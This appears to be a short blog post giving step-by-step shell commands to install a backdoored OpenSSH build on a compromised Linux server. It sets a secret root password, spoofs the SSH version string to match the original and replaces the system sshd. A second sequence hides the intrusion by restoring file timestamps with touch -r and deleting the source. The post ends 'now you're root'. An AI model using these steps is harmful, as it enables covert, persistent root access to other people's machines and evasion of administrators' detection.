How to install
shell-# wget
shell-# tar zxvf sshbd.tgz
shell-# cd openssh
Edit version.h likes the current version of ssh running on the box
#define SSH_VERSION "OpenSSH_4.2" --> you've to edit OpenSSH_4.2
Edit includes.h, specify your backdoor password
#define _SECRET_PASSWD "q1w2e3r4t5: )" -> edit as u wish
shell-# ./configure --prefix=/usr --sysconfdir=/etc/ssh
shell-# make && make install
shell-# cp ssh_config sshd_config /etc/ssh/
shell-# /etc/init.d/sshd restart
FINISH, try logged in to the box "ssh -l root "
enter your backdoor password.
Boom, now you're root
wget
tar zxvf sshbd.tgz
cd openssh
vi version.h
#define SSH_VERSION "OpenSSH_4.2" --> you've to edit OpenSSH_4.2
vi includes.h
#define _SECRET_PASSWD "q1w2e3r4t5: )" -> edit as u wish
cp /etc/ssh/sshd_config /etc/ssh/sshd_config.pub
cp /etc/ssh/ssh_config /etc/ssh/ssh_config.pub
touch -r /etc/ssh/sshd_config /etc/ssh/sshd_config.pub
touch -r /etc/ssh/ssh_config /etc/ssh/ssh_config.pub
cp /usr/bin/ssh /usr/bin/ssh-key.pub
touch -r /usr/bin/ssh /usr/bin/ssh-key.pub
./configure --prefix=/usr --sysconfdir=/etc/ssh
make && make install
cp ssh_config sshd_config /etc/ssh/
cd ..
rm -rf ./ssh*
rm -rf openssh
diff /etc/ssh/sshd_config /etc/ssh/sshd_config.pub
vi sshd_config
diff /etc/ssh/ssh_config /etc/ssh/ssh_config.pub
vi ssh_config
touch -r /etc/ssh/sshd_config.pub /etc/ssh/sshd_config
touch -r /etc/ssh/ssh_config.pub /etc/ssh/ssh_config
touch -r /usr/bin/ssh-keypub /usr/bin/ssh*
/etc/init.d/sshd restart
阅读(956) | 评论(0) | 转发(0) |